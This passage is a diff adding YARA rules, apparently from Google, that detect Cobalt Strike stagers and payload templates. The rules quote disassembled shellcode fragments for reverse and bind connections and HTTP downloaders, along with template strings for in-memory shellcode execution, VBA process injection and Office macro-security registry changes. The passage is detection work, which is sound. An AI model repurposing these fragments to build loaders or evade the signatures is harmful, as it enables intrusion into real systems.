+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Httpsstager64_Bin_v3_2_through_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/httpsstager64.bin signature for versions v3.2 to v4.x"
+		hash =  "109b8c55816ddc0defff360c93e8a07019ac812dd1a42209ea7e95ba79b5a573"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "c16e73fc-484a-5f7e-8127-d85a0254d842"
+	strings:
+	/*
+		48 31 C0       xor     rax, rax
+		AC             lodsb
+		41 C1 C9 0D    ror     r9d, 0Dh
+		41 01 C1       add     r9d, eax
+		38 E0          cmp     al, ah
+		75 F1          jnz     short loc_100000000000007D
+		4C 03 4C 24 08 add     r9, [rsp+40h+var_38]
+		45 39 D1       cmp     r9d, r10d
+		75 D8          jnz     short loc_100000000000006E
+		58             pop     rax
+		44 8B 40 24    mov     r8d, [rax+24h]
+		49 01 D0       add     r8, rdx
+		66 41 8B 0C 48 mov     cx, [r8+rcx*2]
+		44 8B 40 1C    mov     r8d, [rax+1Ch]
+		49 01 D0       add     r8, rdx
+		41 8B 04 88    mov     eax, [r8+rcx*4]
+		48 01 D0       add     rax, rdx
+	*/
+
+	$apiLocator = {
+			48 [2]
+			AC
+			41 [2] 0D
+			41 [2]
+			38 ??
+			75 ??
+			4C [4]
+			45 [2]
+			75 ??
+			5?
+			44 [2] 24
+			49 [2]
+			66 [4]
+			44 [2] 1C
+			49 [2]
+			41 [3]
+			48 
+		}
+
+
+  // the signature for httpstager64 and httpsstager64 really only differ by the flags passed to WinInet API
+  // and the inclusion of the InternetSetOptionA call. We will trigger off that API
+	/*
+		BA 1F 00 00 00    mov     edx, 1Fh
+		6A 00             push    0
+		68 80 33 00 00    push    3380h
+		49 89 E0          mov     r8, rsp
+		41 B9 04 00 00 00 mov     r9d, 4
+		41 BA 75 46 9E 86 mov     r10d, InternetSetOptionA
+	*/
+
+	$InternetSetOptionA = {
+			BA 1F 00 00 00
+			6A 00
+			68 80 33 00 00
+			49 [2]
+			41 ?? 04 00 00 00
+			41 ?? 75 46 9E 86
+		}	
+	
+	condition:
+		$apiLocator and $InternetSetOptionA
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Httpsstager_Bin_v2_5_through_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/httpsstager.bin signature for versions 2.5 to 4.x"
+		hash =  "5ebe813a4c899b037ac0ee0962a439833964a7459b7a70f275ac73ea475705b3"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "f45aa40a-3936-50f9-a60e-de7181862d19"
+	strings:
+	/*
+		31 ??     xor     eax, eax
+		AC        lodsb
+		C1 ?? 0D  ror     edi, 0Dh
+		01 ??     add     edi, eax
+		38 ??     cmp     al, ah
+		75 ??     jnz     short loc_10000054
+		03 [2]    add     edi, [ebp-8]
+		3B [2]    cmp     edi, [ebp+24h]
+		75 ??     jnz     short loc_1000004A
+		5?        pop     eax
+		8B ?? 24  mov     ebx, [eax+24h]
+		01 ??     add     ebx, edx
+		66 8B [2] mov     cx, [ebx+ecx*2]
+		8B ?? 1C  mov     ebx, [eax+1Ch]
+		01 ??     add     ebx, edx
+		8B ?? 8B  mov     eax, [ebx+ecx*4]
+		01 ??     add     eax, edx
+		89 [3]    mov     [esp+28h+var_4], eax
+		5?        pop     ebx
+		5?        pop     ebx
+	*/
+
+	$apiLocator = {
+			31 ?? 
+			AC
+			C1 ?? 0D 
+			01 ?? 
+			38 ?? 
+			75 ?? 
+			03 [2]
+			3B [2]
+			75 ?? 
+			5? 
+			8B ?? 24 
+			01 ?? 
+			66 8B [2]
+			8B ?? 1C 
+			01 ?? 
+			8B ?? 8B 
+			01 ?? 
+			89 [3]
+			5? 
+			5? 
+		}
+
+  // the signature for httpstager and httpsstager really only differ by the flags passed to WinInet API
+  // and the inclusion of the InternetSetOptionA call. We will trigger off that API
+	/*
+		6A 04          push    4
+		5?             push    eax
+		6A 1F          push    1Fh
+		5?             push    esi
+		68 75 46 9E 86 push    InternetSetOptionA
+		FF ??          call    ebp
+	*/
+
+	$InternetSetOptionA = {
+			6A 04
+			5? 
+			6A 1F
+			5? 
+			68 75 46 9E 86
+			FF  
+		}
+	
+	condition:
+		$apiLocator and $InternetSetOptionA
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Httpstager64_Bin_v3_2_through_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/httpstager64.bin signature for versions v3.2 to v4.x"
+		hash =  "ad93d1ee561bc25be4a96652942f698eac9b133d8b35ab7e7d3489a25f1d1e76"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "5530dce8-e5a1-5133-9b05-464e3397084a"
+	strings:
+	/*
+		48 31 C0       xor     rax, rax
+		AC             lodsb
+		41 C1 C9 0D    ror     r9d, 0Dh
+		41 01 C1       add     r9d, eax
+		38 E0          cmp     al, ah
+		75 F1          jnz     short loc_100000000000007D
+		4C 03 4C 24 08 add     r9, [rsp+40h+var_38]
+		45 39 D1       cmp     r9d, r10d
+		75 D8          jnz     short loc_100000000000006E
+		58             pop     rax
+		44 8B 40 24    mov     r8d, [rax+24h]
+		49 01 D0       add     r8, rdx
+		66 41 8B 0C 48 mov     cx, [r8+rcx*2]
+		44 8B 40 1C    mov     r8d, [rax+1Ch]
+		49 01 D0       add     r8, rdx
+		41 8B 04 88    mov     eax, [r8+rcx*4]
+		48 01 D0       add     rax, rdx
+	*/
+
+	$apiLocator = {
+			48 [2]
+			AC
+			41 [2] 0D
+			41 [2]
+			38 ??
+			75 ??
+			4C [4]
+			45 [2]
+			75 ??
+			5?
+			44 [2] 24
+			49 [2]
+			66 [4]
+			44 [2] 1C
+			49 [2]
+			41 [3]
+			48 
+		}
+
+
+  // the signature for httpstager64 and httpsstager64 really the inclusion or exclusion of InternetSetOptionA. However,
+  // there is a subtle difference in the jmp after the InternetOpenA call (short jmp for x86 and long jmp for x64)
+	/*
+		41 BA 3A 56 79 A7 mov     r10d, InternetOpenA
+		FF D5             call    rbp
+		EB 61             jmp     short j_get_c2_ip
+	*/
+
+	$postInternetOpenJmp = {
+			41 ?? 3A 56 79 A7
+			FF ??
+			EB 
+		}
+
+	
+	condition:
+		$apiLocator and $postInternetOpenJmp
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Httpstager_Bin_v2_5_through_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/httpstager.bin signature for versions 2.5 to 4.x"
+		hash =  "a47569af239af092880751d5e7b68d0d8636d9f678f749056e702c9b063df256"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "86109485-c26c-5c51-8d04-dd1add9a8c57"
+	strings:
+	/*
+		31 ??     xor     eax, eax
+		AC        lodsb
+		C1 ?? 0D  ror     edi, 0Dh
+		01 ??     add     edi, eax
+		38 ??     cmp     al, ah
+		75 ??     jnz     short loc_10000054
+		03 [2]    add     edi, [ebp-8]
+		3B [2]    cmp     edi, [ebp+24h]
+		75 ??     jnz     short loc_1000004A
+		5?        pop     eax
+		8B ?? 24  mov     ebx, [eax+24h]
+		01 ??     add     ebx, edx
+		66 8B [2] mov     cx, [ebx+ecx*2]
+		8B ?? 1C  mov     ebx, [eax+1Ch]
+		01 ??     add     ebx, edx
+		8B ?? 8B  mov     eax, [ebx+ecx*4]
+		01 ??     add     eax, edx
+		89 [3]    mov     [esp+28h+var_4], eax
+		5?        pop     ebx
+		5?        pop     ebx
+	*/
+
+	$apiLocator = {
+			31 ?? 
+			AC
+			C1 ?? 0D 
+			01 ?? 
+			38 ?? 
+			75 ?? 
+			03 [2]
+			3B [2]
+			75 ?? 
+			5? 
+			8B ?? 24 
+			01 ?? 
+			66 8B [2]
+			8B ?? 1C 
+			01 ?? 
+			8B ?? 8B 
+			01 ?? 
+			89 [3]
+			5? 
+			5? 
+		}
+
+  // the signature for httpstager and httpsstager really only differ by the flags passed to WinInet API
+  // and the httpstager controls the download loop slightly different than the httpsstager
+	/*
+		B? 00 2F 00 00  mov     edi, 2F00h
+		39 ??           cmp     edi, eax
+		74 ??           jz      short loc_100000E9
+		31 ??           xor     edi, edi
+		E9 [4]          jmp     loc_100002CA      // opcode could also be EB for a short jump (v2.5-v3.10)
+	*/
+
+	$downloaderLoop = {
+			B? 00 2F 00 00 
+			39 ?? 
+			74 ?? 
+			31 ?? 
+			( E9 | EB )
+		}
+
+	condition:
+		$apiLocator and $downloaderLoop
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Reverse64_Bin_v2_5_through_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/reverse64.bin signature for versions v2.5 to v4.x"
+		hash =  "d2958138c1b7ef681a63865ec4a57b0c75cc76896bf87b21c415b7ec860397e8"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "966e6e4c-85e2-5c94-8245-25367802b7d2"
+	strings:
+	/*
+		48 31 C0       xor     rax, rax
+		AC             lodsb
+		41 C1 C9 0D    ror     r9d, 0Dh
+		41 01 C1       add     r9d, eax
+		38 E0          cmp     al, ah
+		75 F1          jnz     short loc_100000000000007D
+		4C 03 4C 24 08 add     r9, [rsp+40h+var_38]
+		45 39 D1       cmp     r9d, r10d
+		75 D8          jnz     short loc_100000000000006E
+		58             pop     rax
+		44 8B 40 24    mov     r8d, [rax+24h]
+		49 01 D0       add     r8, rdx
+		66 41 8B 0C 48 mov     cx, [r8+rcx*2]
+		44 8B 40 1C    mov     r8d, [rax+1Ch]
+		49 01 D0       add     r8, rdx
+		41 8B 04 88    mov     eax, [r8+rcx*4]
+		48 01 D0       add     rax, rdx
+	*/
+
+	$apiLocator = {
+			48 [2]
+			AC
+			41 [2] 0D
+			41 [2]
+			38 ??
+			75 ??
+			4C [4]
+			45 [2]
+			75 ??
+			5?
+			44 [2] 24
+			49 [2]
+			66 [4]
+			44 [2] 1C
+			49 [2]
+			41 [3]
+			48 
+		}
+
+
+  // the signature for reverse64 and bind really differ slightly, here we are using the lack of additional calls
+  // found in reverse64 to differentate between this and bind64
+  // Note that we can reasonably assume that the constants being passed to the call rbp will be just that, constant,
+  // since we are triggering on the API hasher. If that hasher is unchanged, then the hashes we look for should be
+  // unchanged. This means we can use these values as anchors in our signature.
+	/*
+		41 BA EA 0F DF E0 mov     r10d, WSASocketA
+		FF D5             call    rbp
+		48 89 C7          mov     rdi, rax
+		6A 10             push    10h
+		41 58             pop     r8
+		4C 89 E2          mov     rdx, r12
+		48 89 F9          mov     rcx, rdi
+		41 BA 99 A5 74 61 mov     r10d, connect
+		FF D5             call    rbp
+	*/
+
+	$calls = {
+			48 89 C1
+			41 BA EA 0F DF E0
+			FF D5
+			48 [2]
+			6A ??
+			41 ??
+			4C [2]
+			48 [2]
+			41 BA 99 A5 74 61
+			FF D5
+		}
+	condition:
+		$apiLocator and $calls
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Reverse_Bin_v2_5_through_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/reverse.bin signature for versions 2.5 to 4.x"
+		hash =  "887f666d6473058e1641c3ce1dd96e47189a59c3b0b85c8b8fccdd41b84000c7"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "182dbcd0-1180-5516-abe3-cf2eebbd0e39"
+	strings:
+	/*
+		31 ??     xor     eax, eax
+		AC        lodsb
+		C1 ?? 0D  ror     edi, 0Dh
+		01 ??     add     edi, eax
+		38 ??     cmp     al, ah
+		75 ??     jnz     short loc_10000054
+		03 [2]    add     edi, [ebp-8]
+		3B [2]    cmp     edi, [ebp+24h]
+		75 ??     jnz     short loc_1000004A
+		5?        pop     eax
+		8B ?? 24  mov     ebx, [eax+24h]
+		01 ??     add     ebx, edx
+		66 8B [2] mov     cx, [ebx+ecx*2]
+		8B ?? 1C  mov     ebx, [eax+1Ch]
+		01 ??     add     ebx, edx
+		8B ?? 8B  mov     eax, [ebx+ecx*4]
+		01 ??     add     eax, edx
+		89 [3]    mov     [esp+28h+var_4], eax
+		5?        pop     ebx
+		5?        pop     ebx
+	*/
+
+	$apiLocator = {
+			31 ?? 
+			AC
+			C1 ?? 0D 
+			01 ?? 
+			38 ?? 
+			75 ?? 
+			03 [2]
+			3B [2]
+			75 ?? 
+			5? 
+			8B ?? 24 
+			01 ?? 
+			66 8B [2]
+			8B ?? 1C 
+			01 ?? 
+			8B ?? 8B 
+			01 ?? 
+			89 [3]
+			5? 
+			5? 
+		}
+
+    // the signature for the stagers overlap significantly. Looking for reverse.bin specific bytes helps delineate sample types
+	/*
+		5D             pop     ebp
+		68 33 32 00 00 push    '23'
+		68 77 73 32 5F push    '_2sw'
+	*/
+
+	$ws2_32 = {
+			5D
+			68 33 32 00 00
+			68 77 73 32 5F
+		}
+
+
+  // reverse.bin makes outbound connection (using connect) while bind.bin listens for incoming connections (using listen)
+  // so the presence of the connect API hash is a solid method for distinguishing between the two.
+	/*
+		6A 10          push    10h
+		[0]5?          push    esi
+		5?             push    edi
+		68 99 A5 74 61 push    connect
+	*/
+	$connect = {
+			6A 10
+			5? 
+			5? 
+			68 99 A5 74 61
+		}
+	
+	condition:
+		$apiLocator and $ws2_32 and $connect
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Smbstager_Bin_v2_5_through_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/smbstager.bin signature for versions 2.5 to 4.x"
+		hash =  "946af5a23e5403ea1caccb2e0988ec1526b375a3e919189f16491eeabc3e7d8c"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "074b7d83-e3d8-541c-804b-2417c21f54d5"
+	strings:
+	/*
+		31 ??     xor     eax, eax
+		AC        lodsb
+		C1 ?? 0D  ror     edi, 0Dh
+		01 ??     add     edi, eax
+		38 ??     cmp     al, ah
+		75 ??     jnz     short loc_10000054
+		03 [2]    add     edi, [ebp-8]
+		3B [2]    cmp     edi, [ebp+24h]
+		75 ??     jnz     short loc_1000004A
+		5?        pop     eax
+		8B ?? 24  mov     ebx, [eax+24h]
+		01 ??     add     ebx, edx
+		66 8B [2] mov     cx, [ebx+ecx*2]
+		8B ?? 1C  mov     ebx, [eax+1Ch]
+		01 ??     add     ebx, edx
+		8B ?? 8B  mov     eax, [ebx+ecx*4]
+		01 ??     add     eax, edx
+		89 [3]    mov     [esp+28h+var_4], eax
+		5?        pop     ebx
+		5?        pop     ebx
+	*/
+
+	$apiLocator = {
+			31 ?? 
+			AC
+			C1 ?? 0D 
+			01 ?? 
+			38 ?? 
+			75 ?? 
+			03 [2]
+			3B [2]
+			75 ?? 
+			5? 
+			8B ?? 24 
+			01 ?? 
+			66 8B [2]
+			8B ?? 1C 
+			01 ?? 
+			8B ?? 8B 
+			01 ?? 
+			89 [3]
+			5? 
+			5? 
+		}
+
+    // the signature for the stagers overlap significantly. Looking for smbstager.bin specific bytes helps delineate sample types
+	  $smb = { 68 C6 96 87 52 }	
+	  
+	  // This code block helps differentiate between smbstager.bin and metasploit's engine which has reasonable level of overlap
+	  	/*
+		6A 40          push    40h ; '@'
+		68 00 10 00 00 push    1000h
+		68 FF FF 07 00 push    7FFFFh
+		6A 00          push    0
+		68 58 A4 53 E5 push    VirtualAlloc
+	*/
+
+	$smbstart = {
+			6A 40
+			68 00 10 00 00
+			68 FF FF 07 00
+			6A 00
+			68 58 A4 53 E5
+		}
+	
+	condition:
+		$apiLocator and $smb and $smbstart
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Template_Py_v3_3_to_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/template.py signature for versions v3.3 to v4.x"
+		hash =  "d5cb406bee013f51d876da44378c0a89b7b3b800d018527334ea0c5793ea4006"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+		id = "16aef9a9-b217-5462-93dc-f6273c99ddd0"
+  strings:   
+    $arch = "platform.architecture()"
+    $nope = "WindowsPE"
+    $alloc = "ctypes.windll.kernel32.VirtualAlloc"
+    $movemem = "ctypes.windll.kernel32.RtlMoveMemory"
+    $thread = "ctypes.windll.kernel32.CreateThread"
+    $wait = "ctypes.windll.kernel32.WaitForSingleObject"
+
+  condition:
+    all of them
+}/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Template_Sct_v3_3_to_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/template.sct signature for versions v3.3 to v4.x"
+		hash =  "fc66cb120e7bc9209882620f5df7fdf45394c44ca71701a8662210cf3a40e142"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+		id = "9d2b1dfa-5f76-503f-9198-6ed0d039e0cb"
+	strings:
+    $scriptletstart = "<scriptlet>" nocase
+    $registration = "<registration progid=" nocase
+    $classid = "classid=" nocase
+		$scriptlang = "<script language=\"vbscript\">" nocase
+		$cdata = "<![CDATA["
+    $scriptend = "</script>" nocase
+	  $antiregistration = "</registration>" nocase
+    $scriptletend = "</scriptlet>"
+
+  condition:
+    all of them and @scriptletstart[1] < @registration[1] and @registration[1] < @classid[1] and @classid[1] < @scriptlang[1] and @scriptlang[1] < @cdata[1]
+}/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources__Template_Vbs_v3_3_to_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/btemplate.vbs signature for versions v3.3 to v4.x"
+		hash =  "e0683f953062e63b2aabad7bc6d76a78748504b114329ef8e2ece808b3294135"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "62f35d02-1e4e-5651-b575-888ce06b8bdd"
+	strings:
+	  $ea = "Excel.Application" nocase
+    $vis = "Visible = False" nocase
+    $wsc = "Wscript.Shell" nocase
+    $regkey1 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" nocase
+    $regkey2 = "\\Excel\\Security\\AccessVBOM" nocase
+    $regwrite = ".RegWrite" nocase
+    $dw = "REG_DWORD"
+    $code = ".CodeModule.AddFromString"
+	 /* Hex encoded Auto_*/ /*Open */
+    $ao = { 41 75 74 6f 5f 4f 70 65 6e }
+    $da = ".DisplayAlerts"
+
+  condition:
+    all of them
+}/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Template__x32_x64_Ps1_v1_45_to_v2_5_and_v3_11_to_v3_14
+{
+	meta:
+		description = "Cobalt Strike's resources/template.x64.ps1, resources/template.x32 from v3.11 to v3.14 and resources/template.ps1 from v1.45 to v2.5 "
+		hash =  "ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "c9fa6a39-0098-5dde-9762-94bc6b2df299"
+	strings:
+	
+		$importVA = "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc" nocase
+		$importCT = "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread" nocase
+		$importWFSO = "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject" nocase
+    $compiler = "New-Object Microsoft.CSharp.CSharpCodeProvider" nocase
+    $params = "New-Object System.CodeDom.Compiler.CompilerParameters" nocase
+    $paramsSys32 = ".ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))" nocase
+    $paramsGIM = ".GenerateInMemory = $True" nocase
+    $result = "$compiler.CompileAssemblyFromSource($params, $assembly)" nocase
+    //$data = "[Byte[]]$var_code = [System.Convert]::FromBase64String(" nocase
+
+    //$64bitSpecific = "[IntPtr]::size -eq 8"
+    
+    
+  condition:
+    all of them
+}/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Template_x64_Ps1_v3_0_to_v4_x_excluding_3_12_3_13
+{
+	meta:
+		description = "Cobalt Strike's resources/template.x64.ps1, resources/template.hint.x64.ps1 and resources/template.hint.x32.ps1 from v3.0 to v4.x except 3.12 and 3.13"
+		hash =  "ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "5a808113-aacb-56ca-b3ec-166c73c54b85"
+	strings:
+    $dda = "[AppDomain]::CurrentDomain.DefineDynamicAssembly" nocase
+    $imm = "InMemoryModule" nocase
+    $mdt = "MyDelegateType" nocase
+    $rd = "New-Object System.Reflection.AssemblyName('ReflectedDelegate')" nocase
+    $data = "[Byte[]]$var_code = [System.Convert]::FromBase64String(" nocase
+    $64bitSpecific = "[IntPtr]::size -eq 8"
+    $mandatory = "Mandatory = $True"
+    
+  condition:
+    all of them
+}/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Template_x86_Vba_v3_8_to_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/template.x86.vba signature for versions v3.8 to v4.x"
+		hash =  "fc66cb120e7bc9209882620f5df7fdf45394c44ca71701a8662210cf3a40e142"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+		id = "11c7758e-93b2-5fe3-873d-b98de579d2b4"
+	strings:
+    $createstuff = "Function CreateStuff Lib \"kernel32\" Alias \"CreateRemoteThread\"" nocase
+    $allocstuff = "Function AllocStuff Lib \"kernel32\" Alias \"VirtualAllocEx\"" nocase
+    $writestuff = "Function WriteStuff Lib \"kernel32\" Alias \"WriteProcessMemory\"" nocase
+    $runstuff = "Function RunStuff Lib \"kernel32\" Alias \"CreateProcessA\"" nocase
+    $vars = "Dim rwxpage As Long" nocase
+    $res = "RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)"
+    $rwxpage = "AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)"
+
+  condition:
+    all of them and @vars[1] < @res[1] and @allocstuff[1] < @rwxpage[1]
+}/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Xor_Bin_v2_x_to_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resource/xor.bin signature for version 2.x through 4.x"
+		hash =  "211ccc5d28b480760ec997ed88ab2fbc5c19420a3d34c1df7991e65642638a6f"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "1754746c-3a42-5f7d-808a-ba2e1c0a270e"
+	strings:
+	  /* The method for making this signatures consists of extracting each stub from the various resources/xor.bin files
